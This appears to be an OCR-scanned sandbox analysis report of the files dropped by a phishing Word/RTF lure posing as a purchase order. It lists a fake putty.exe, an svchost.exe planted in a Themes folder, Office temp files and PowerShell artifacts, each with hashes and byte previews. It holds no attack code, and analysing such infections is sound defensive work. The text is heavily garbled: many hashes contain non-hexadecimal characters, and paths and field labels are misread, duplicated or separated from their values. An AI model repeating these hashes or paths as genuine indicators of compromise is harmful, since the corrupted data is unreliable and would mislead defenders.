x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. ~<configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSetting
sGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__x
EDD5__XxEDC2_. ...." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < xED9B__XED9A
XED9D__xEDA1__ XEDCD__XEDD5__ XEDC2_......ccccevvveieerurrnanee. > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>77901440300040002552550018400000006400000

Process: C:\Users\user\AppData\Roaming\putty.exe

File Type: XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 1024546

Entropy (8bit):  3.1269035822105082

Encrypted: false

SSDEEP: 12288:BctS2g8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEzGqlx+w83faMWJInB+u:f7xnEigMYilB

MD5: 798E75EAFE7531DB03EE356154FA97CC

SHA1L: C9CBB78COFB1387869EA1428FDFA5DD3870E1959

SHA-256: 7E48B79189580C30D6F6F3F319B5D7611EDOC1E82FOE9E742752EABF729297FC

SHA-512: 514A341F3FB8A08991D9F0A3F7EA678766B33219F869651E217CB2D19BAF48B8643D86D094A1818A8BECD50EFBIBBA9AD2A2AFCD2CCDBI0830A91B2DB22EE6
7

Malicious: false

Preview:
<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup,
System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xE
DD5_ XEDC2_...cccocoviiiiiciinne " type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" all
owExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < XED9B__XED9A__ x
ED9D__ XEDA1l__XEDCD__XEDD5_ XEDC2_.....cccccooviieiirrinannns > <setting name="C67953dg5a6Dd0e33Yasd092WxfIocbrUioK" serializeAs="String">..

<value>779014403000400025525500184000000064000000

Process: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe

File Type: UTF-8 Unicode text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 3009211

Entropy (8bit): 3.101537480832706

Encrypted: false

SSDEEP: 12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqlx+w83faMWJInB+9:t7xnEigMYilO

MD5: AEE69512FC253C547596763B268A4FCC

SHAL: DAG9F0854AEB81F359821DCFC869A97EBEG3ACB6

SHA-256: 61ED1FDBE4654131418DD9BC6F4A6A38277110A28FAEDB915B511827FC47FC74

SHA-512: 66AEOEE6FF3F5C94988863E3EC1BAB83ECA4ASBE818B41F184622C7EE6DC239BB2D0F4462E03B3316A61582E290EC171CA23677CB204FCAC6654E7FB4C361F8(
5

Malicious: false

Preview:
x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. = <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSetting
sGroup, System, Version=4.0.0.0, Culture=neutral, PublickeyToken=b77a5c561934e089" >.. <section name="_xED9B__XED9A__xED9D__xEDA1l__xEDCD__x
EDD5__XEDC2_.....ccccoovviviiniinnnnen " type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < XED9B__xED9A__
XED9D__XEDA1__xEDCD__XEDD5__XEDC2_.......cccccvuvrurnnnne > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..

<value>77 90144030004 0002552550018400000006400000

Process: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe

File Type: XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 1024546

Entropy (8bit):  3.1269035822105082

Encrypted: false

SSDEEP: 12288:BctS2g8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqIx+w83faMWJInB+u:f7xnEigMYilB

MD5: 798E75EAFE7531DB0O3EE356154FA97CC

SHAL: C9CBB78C0FB1387869EA1428FDFA5DD3870E1959

SHA-256: 7E48B79189580C30D6F6F3F319B5D7611EDOC1E82FOEQE742752EA6F729297FC

SHA-512: 514A341F3FB8A08991DIF0A3F7EA678766B33219F869651E217CB2D19BAF48B8643D86D094A1818A8BECD50EFBIBSAIAD2A2AFCD2CCDBY0830A91B2DB22EE6
7

Malicious: false
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Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup,
System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__ xED9D__xEDA1__xEDCD__xE
DD5__xEDC2 .." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" all
owExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < xED9B__XED9A__ x
ED9D__ XEDA1l__XEDCD__XEDDS5_ XEDC2_.....ccceovivrierinannns > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>779014403000400025525500184000000064000000

C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

2047947

3.124891610660528

false
12288:bctS2g8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqIx+w83faMWJInB+x:t7xnEiqMYil6
8688A6319B37957650EEFC989D9IE4AS0

0C28D1262DBBFC6B7AF36A9C63A4D952F8DB1312
1B0767B813CC5D8CBECAE6F44B0B336A5423064F8B7CAD2D56A61D51A8997C7A

48033BF16EDF82271EFCADAB4F48C71F6D1C4963E64871834ACFOADDO1C3ACA0C506681C58F15F3A2493C113DEG3EDD216EEFC63D02B126B9FFFD9670D0DS(
1

false

x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSetting
sGroup, System, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A_xED9D__xEDA1__xEDCD__x
EDD5__ XEDC2_.....coooveiiiiiiiininns " type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < XED9B__XxED9A__
XED9D__xEDA1__ XEDCD__ XEDD5__ XEDC2_......cccvvviviriueannanen. > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>77 90144030004 0002552550018400000006400000

C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe

XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

1024546

3.1269035822105082

false
12288:BctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqlx+w83faMWJInB+u:f7xnEigMYilB
798E75EAFE7531DB0O3EE356154FA97CC

C9CBB78C0FB1387869EA1428FDFA5DD3870E1959
7E48B79189580C30D6F6F3F319B5D7611EDOC1E82FOE9E742752EAG6F729297FC

514A341F3FB8A08991DIF0A3F7EA678766B33219F869651E217CB2D19BAF48B8643D86D094A1818A8BECD50EFBIBSAIAD2A2AFCD2CCDBY0830A91B2DB22EEG
7

false

<?xml version="1.0" encoding="utf-8"?>..<configuration>..  <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup,
System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__xE
DD5__XEDC2_.....cccocvviiciinnand " type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" all
owExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_XED9B__xED9A__ x
EDI9D__XEDAL1__xEDCD__XEDD5__XEDC2_......cccceoeivviviirinnnns > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>779014403000400025525500184000000064000000

C:\Windows\Resources\Themes\Aero\Shel\52V57U7\svchost.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

2047947

3.124891610660528

false
12288:bctS2g8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqIx+w83faMWJInB+x:t7xnEiqMYil6
8688A6319B37957650EEFC989DIE4AS0

0C28D1262DBBFC6B7AF36A9C63A4D952F8DB1312
1B0767B813CC5D8C8ECAE6F44B0B336A5423064F8B7CAD2D56A61D51A8997C7A

48033BF16EDF82271EFCADAB4F48C71F6D1C4963E64871834ACFOADDO1C3ACAOC506681C58F15F3A2493C113DEG3EDD216EEFC63D02B126B9FFFD9670D0DS(
1

false
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Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. ~<configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSetting
sGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__x
EDD5__XEDC2_. ...." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < xED9B__XED9A
XED9D__xEDA1_ XEDCD__XEDD5__ XEDC2_......ccccevvveierurrinanen. >. <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>77901440300040002552550018400000006400000

C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

3009211

3.101537480832706

false
12288:bctS2g8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEzGqIx+w83faMWJInB+9:t7xnEigMYilO
AEE69512FC253C547596763B268A4FCC

DAG9F0854AEB81F359821DCFC869A97EBEG3ACB6
61ED1FDBE4654131418DD9BC6F4A6A38277110A28F4EDBI15B511827FCA47FC74

66AEOEE6FF3F5C94988863E3EC1BAB83ECA4ASBE818B41F184622C7EE6DC239BB2D0F4462E03B3316A61582E290EC171CA23677CB204FCAC6654E7FB4C361F8(
5

false

x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSetting
sGroup, System, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A_xED9D__xEDA1__xEDCD__x
EDD5__ XEDC2_.....coooveiiiiiiiininns " type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < XED9B__XxED9A__
XED9D__xEDA1__ XEDCD__ XEDD5__ XEDC2_......cccevveveiueannanen. > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>77 90144030004 0002552550018400000006400000

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{24BA44F0-30CA-4646-ACFF-79FC9E14ADCB}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:0l3lYdn:4Wn

5D4D94EE7E06BBB0OAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E8S6E49677
4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C2D3EB9C-AB70-4784-8852-5C03B64EE05D}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

1024

1.528284772159727

false

12:uQwWJIXNLKn+zKbSnliAvk5uFJF/buvg2ZA:cXJ0a2bSnliAM50//bunA
5C8DC120A72B4D4352D26EEE71809574
6AA1EBDASE2155DF73F5FEEA32EEA504D4568797
642D4C87DC66881904F23552B943AF7ADD1659040C79543CE1B21F71620E8788
0850BB3BCF8A50AFAOF79EDCD79319573D0ODA9CC201E94A0313E419F99213F069D8ES512D0F32A7A5F159315478C2D8F2D3104118F208E99792076845D7787CCB

false

.................................... eiiii.Y02.PA4AEG.P.NMN5NAS.q.)T.EMX.I._.S.P.T.e.Q.v.5.0.5.k.C.n.c.x.S.W.6.n.1.D.d.b.0.3.V.0w.y.m. . ...
.5.3.7.7.8.5.3.4.6.5.3.7.7.8.5.3.4.6.= .E.q.u.ation.3.EM.B.ED.

J..0J..QJ..U.N.ad
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C:\Users\luser\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_e888z168ybTRefC4_b9b818d2ff86b34a32ed4c7ec54eba68defd6632

_08edf3el\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: data

Category: dropped

Size (bytes): 11678

Entropy (8bit):  3.738332544310855

Encrypted: false

SSDEEP: 96:XKHgKQfMIptZxtiK5QXIQcQKGCc6NCEKAcwW3dCOMWMz2COMWTmMBPUPZApIVY 8rHvm: XK7CHLJIZMz9iy8m6jitHtF
MD5: 7E838292D310DA229A3F2754095F6973

SHA1L: A1ED23F3A9CD1A67E069DC057A30F518C8979F72

SHA-256: 727F8B3433AEEF270BE67B403CEABA6B360619BCD2B8D66B7C40A3C91FC268FC

SHA-512: 22680B59B7130928904FEAF189ADES68A3D2E5255E31A58C74FC3C23ECD98C8ED94BFB888D8A8B1536F1283B3E86178F893C2283F953DA957E009A530EB62356
Malicious: false

Preview:

V.ers.i.o.n=1...EventTyp.e=C.LR20.r3...Ev.entT.ime=13.26.83.4.3.9.1774.49.0.12...Rep.ortType.=2..Co.nsent=1..Rep.o.rtlden.
tifier=.c9.4.af5.d1l.-.ce.d5.-1.1.eb.-ad.c.f-ecfdbbbb59.15b nte.grato.rR.ep.o.rtldentifier=.c94.af5.d.0.-.ce.d5.-1.1eb.-ad.c.f-ecfd
b.b.b.5.9.1.5.b....W.0.W.6.4.=.1.....R.e.s.p.o.ns.e..typ.e=4...Sig.[0].Name=Prob.lem. Signature. .0.1...Sig.[.0].V.alue.=.e8.8.82168ybTR.
efC.4.0.9.a4.55mn4.lo.fdd..Sig[l].Nam.e=P.roblem. Signature. .02..8Sig[1l].V.alue=1.0..0..0...Sig.[.2]..N.am.e=P.r.o.b.lem.
S.i.g.nature..03...S.ig[.2].Value=eed6.l4aa...S.ig[3].Name=Problem. Signature..04..8Sig.[3].V.alue=ms.co.rlib...Sig.[4.
]..N.am.e.=.P.ro.b.le.m..

Process: C:\Users\user\AppData\Roaming\putty.exe

File Type: Microsoft Cabinet archive data, 60080 bytes, 1 file

Category: dropped

Size (bytes): 60080

Entropy (8bit):  7.995256720209506

Encrypted: true

SSDEEP: 768:078wIEbt8Rc7GHyP7zpxeiB9jTs6cX8ENCIXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:ABRc7GHyhUHsVNPOIhbz2ESBPNiUu+g4

MD5: 6045BACCF49E1EBAOE674945311A06E6

SHA1L: 379C6234849EECEDE26FAD192C2EES9E0F0221CB

SHA-256: 65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58

SHA-512: DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BA0A213B5B4AAD6DE4FBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFACT789AB
EB

Malicious: false

Preview:
MSCF
.X..00&Z....C...p0.}..2..0m }..Cj.9U..Jj.Y..#£L.\X..0.,...,.qu..]..(B.nE~Q...)..Gex....}.. f...zw.a..9+[.<0."..2 .s..ya..J....wd...O0!s....".WA..F6._f...6..0..2..7.$,... X k.&
LEg.>uvtd
.}%.C<tDX5\s._

C:\Users\user\AppData\Local\Temp\Tar4C4E.tmp

Process: C:\Users\user\AppData\Roaming\putty.exe

File Type: data

Category: dropped

Size (bytes): 156885

Entropy (8bit):  6.30972017530066

Encrypted: false

SSDEEP: 1536:NIR6¢79JjgCyrYBWsWimp4Ydm6Caku2SWsz00D8reJgMnI3XIMuGmO:N2UJcCyZfdmoku2SL3kMnBGuzO
MD5: 9BE376D85B319264740EF583F548B72A

SHAL: 6C6416CBC51AAC89A21A529695A8FCD3ADSEGB85

SHA-256: 07FDF8BC502E6BB4CF6AE214694F45C54A53228FC2002B2F17C9A2EFG4EB76F6

SHA-512: 8AFC5D0D046E8B410EC1D29E2E16FBO0CD92F8822D678AA0EE2A57098E05F2A0E165858347F035AE593B62BF195802CB6F9A5F92670041E1828669987CEECT7DE
Malicious: false

Preview:

0.d..*H.....d0.d..10. He..0.T.+..7..7T.0.T.0..+..7....LE*..210519191503Z0...+.....0..T.0.*...."..@.,..0..0.r1..0..+....7.~1.....D...0..+.....7..i1...0
et 7<0.0 70 @NL %=, 08 7L @Y%, #.S.Y.00. L 70b 1 LA XL EWLLL -@wO0Z..+.....7..1LIM.i.cros.o.ft. .R.o.0t .Certific.a
te. Authority..0. .......[/[.ulv.%1.0.+..7.h1....6M..0. .+ .. .7.~1..... 0.+...7..1..0..+....... 0.+..7..1.0.V..... b0$..+....7...1..>)....5,.=$.~R."..00.
Al 70b10 X[ 38X 7.2...GY.cS.0D. +....7...16.4V e i Si.g.n. . T.iim.e. .S.tam.p.ing. .CA.0...4.R..27...1.0..+..7.h1.....08&.0..+..7.i1.0..+..7<.0
LAl 700l AL LI@08. + 70 1 W FLL9NLL 00, L 701 LL@....GldomL$. X J0B +L 7. 14.2Mucro.s.0.f.t. .R.0.0.t. .A.uth.o

Process: C:\Users\user\AppData\Roaming\putty.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 144168

Entropy (8bit):  5.669635797936692
Encrypted: false
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SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Preview:

1536:Xyw+FI90LoD0ZCAz15f22kDM7b0jaH4ZinJ0iQjx:XyhFDhD0gOqQQjx
F72277EEBAF6B7E2891B7BA24188EBDA
4E50012A8102409F570EE4B36785D7BAASDCA364
9B907AE3D2D9F776C068A4B2371D1BFCO4EOED359FC68B8863660301C5A644B9

D10AB16ECF5035E9BAS5C7373B9E9FSE26B01C9669318DCOEF558224F63237COEFOFE32263C0C1F7A848EF4FC68AA3F91ES8DOFADB2C3A93A14A5F1CDOD45DAE
D

true

e Antivirus: ReversingLabs, Detection: 13%

1..L.IThis program cannot be run in DOS mode....$....... PE..L........ .k BN k..
text....K... ...L “.rsrc.. ...N. ..@..@.reloc....... N
*>.r,..p.00...5".(0... *Vs (1...t ......... * 0 r.p...o%.r..p.o%.r..p

Y%.r...p.(....rL..po....... Pt (.
%.r...p.%.r...p.%.r...p.%.r...p.%..r...p.%..r.. p%r p%

FRUTE PO (OUI SOPUE. SO [/ T %.r...p.%.r...p.%.r...p.%.1...p.%.r...p.

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Customer-unionroadwaysltd-8754-PO.doc__.LNK

Process:

File Type:

Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Wed Aug 26 14:08:15 2020,
atime=Wed Jun 16 18:04:32 2021, length=1323327, window=hide

dropped

2318

4.584696048613179

false
48:8n/XTOjFXRUFVmMmeFsWQh2n/XTOjFXRUFVmmeFsWQ/:8n/XojFbUFReFsWQh2n/XojFbUFReFs|
9859E988E96BADD951F19434EF90B1D0O

EB07AD59D253AC6022E066C0462FBE3F7F1C9E48
0169D13C86E01F73E8D35DCAOBD6FF3936EFOBFB20B02E5849F25484686F7C32

376ACC7AF9057B7FB266D4E06D889C9A617538F0590B69D92D3A5A99B3EB1FDF859077ED4B65F61A47C67E80350BA970479CC99CE174C9ADDDFB61D58D4B63
E

false

| IS F ........... {od2\pb2l P.O. .i....+00.../C\..oo t.1....QK.X..Users. .......QK.X*.....oooovinnne 6...Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3... ..Q.y..user.8.....QK.X.Q.y*...&=...U.... Alb.us... ..Q.y..Desktop.d.....QK.X.Q.y*..._=..................D.es ktop..@.s.h.ell3.2.dll,.-21
.7.6.9... 2’?1 R .CUSTOM~1.RTF . Customer-unlonroadwaysltd .8.7.5.4-P.0..d.o.c._._..rtf.. R S Y
......... ?.]......C \Users\. #..................\\887849\Users. user\Desktop\Customer-un|onroadwaysltd -8754-PO.doc__.rtf.B....\....\....\....\....\.D.e.s.kt.o.p. \ C u.s.t.o.m.e.r.-.u.n.

io.nroadw.ay.s.ltd-8754-P.0O..do.c._._.rtf...... .LB). .AQ ... 1SPS.XF.L8C...&m.m............-..S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0

C:\Users\user\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

157

4.93300910894447

false
3:HtYsaaSh1qj66drFo+DRKsaaSh1qj66drFomxWtYsaaSh1qgj66drFov:HtFQhr63TLQhr63eFQhr63y
C2CC76BCA8B24E76AA39BB3AC6AD7F06
71A89FAF9DC694A1539D41CE3711A99D82953DDB
EF9599F76C5DA491C4132A8F3AF445EDBF6A235107E8DB14719126188C457955
CBBD6D67137BE17D44D8537A44CF16C6F859628E30AE8C38C119E871AF863E5CC0AB85212B5D01E8472C3D8F7400CC60173536430C60C5CD1137E724BAE201E

false

[misc]..Customer-unionroadwaysltd-8754-PO.doc__.LNK=0..Customer-unionroadwaysltd-8754-PO.doc__.LNK=0..[misc]..Customer-unionroadwaysltd-8754-PO.doc__.
LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWiVysAiINGIzgY Gwg32LbO/In:vdsCkWthASq-+l
4CDEC46BF4C5E1435E277CB4821D6306
506F3E77835A2AE504189833D4EF30799A0ACE45
39A3F2156450758ACBBCB3D8E9461BB4CDD93F41A3EC3A4013F4EB8D2A906537

7039ED1E181A8368526A65F6F0D2F70ESBCEBD37BB3BFDSE270BB305F405DB0D843B1CAFG6E4E05F6CF1D203A8AA326A1316CDDDD085DD59DB15A82A26E6FA
75
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C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
Malicious: false

Preview:
LUSET ettt Alb.us....... Pt P Zoiiiiiiaiens X...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type: Little-endian UTF-16 Unicode text, with no line terminators
Category: dropped

Size (bytes): 2

Entropy (8bit): 1.0

Encrypted: false

SSDEEP: 3:Qn:Qn

MDS5: F3B25701FE362EC84616A93A45CE9998

SHA1L: D62636D8CAEC13F04E28442A0A6FALAFEB024BBB

SHA-256: B3D510EF04275CABE698E5B3CBBOECE3949EF9252F0CDC839E9EE347409A2209

SHA-512: 98C5F56F3DE340690C139E58EB7DAC111979F0DADFFE9C4B24FF849510F4B6FFA9FD608COA3DE9AC3CIFD2190FOEFAF715309061490F9755A9BFDF1C54CAQD!
4

Malicious: false

Preview:

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0GRY02Z23PFQIEORTMWR.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMqg9qvsqvJCwoEz8hQCsMq9qvsEHyqvICwor2zg1KrUHTZqO1lUValu:cyEoEz8yQHnor2zguwZqOTIu

MD5: BFAA30A5C37B55038690E734321B6D44

SHA1: 39976435A57FE27E4555B88A074DOEOFEE19DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAECA43BF
DC

Malicious: false

Preview:

gram.D.ata
.STARTM~1.j
1.3.2..d.ll.,.-2.1.7.8.2......1.... xJu=..ACCESS~1..l...
.................. W.i.n.d.o.w.s. .P.ow.e.r.S.he.ll..v.2k.

Wind.ows.....1....:((

<...Programs..@.s.he.l
SawdrFo....BilAccessories..@.s.h.ell3.2..d.ll,.-2.1.7.6.1....J.1...... " .WINDOW~1.R........,..;".......
o WINDOW~2.LNK..Z.......i kS, W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0QK4TR8N1W07LOKWR9XC.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5887472798643487

Encrypted: false

SSDEEP: 96:chQCsMqg9qvsqvJCwoEz8hQCsMq9qvsEHyqvICwor2zglKrUHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MDS5: BFAA30A5C37B55038690E734321B6D44

SHAL: 39976435A57FE27E4555B88A074DOEOFEELI9DFEA

SHA-256: C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DDAEAA3FAOFF8B636A0A4

SHA-512: 029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BEOFECEAECA3BF
DC

Malicious: false

Preview:
................................... FlLuvrrooceiiF 8.0 XD XQAD Koo PO it 400, C N ML {J\. PROGRA~3..D.......0. {3\ . Koo PLTLO.
gram.D.ata...X.1..~Jv. MICROS~1.@........~J|V*..l..cccooooriinn M.i.c.r.o.s.0.ft...R.1...wJ;.. Windows.<.........wJ;.* W.ind.ows....1.....((
.STARTM~1..j Ll @....Start. .Menu..@.s.hell3.2.dll,.-2178.6...~.1....Pf.Programs..f.... <...Pro.grams..@.s.he.l

1.3.2..d.ll,.-.2.1.7.8.2......1....xJu=..ACCESS~1..l...
.................. W.i.nd.ow.s. .P.owe.rS.he.ll..v.2k

SawdrFo.l Bl Access.ories.@.s.hell3.2..dll,.-217.6.1.....}.1.....
o WINDOW~2.LNK..Z.......... %S, W.i.n.d.o.w.s.

~WINDOW~1.R........,.."

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1DH2GSWOM6DY7E40BOTQ.temp

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5887472798643487
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C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1DH2GSWOM6DY7E40BOTQ.temp
Encrypted: false

SSDEEP: 96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zglKruHTZqO1lUValu:cyEoEz8yQHnor2zgUwZqOTIu

MDS5: BFAA30A5C37B55038690E734321B6D44

SHA1L: 39976435A57FE27E4555B88A074D0EOFEE19DFEA

SHA-256: CB8895A9EB44485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FAOFF8B636A0A4

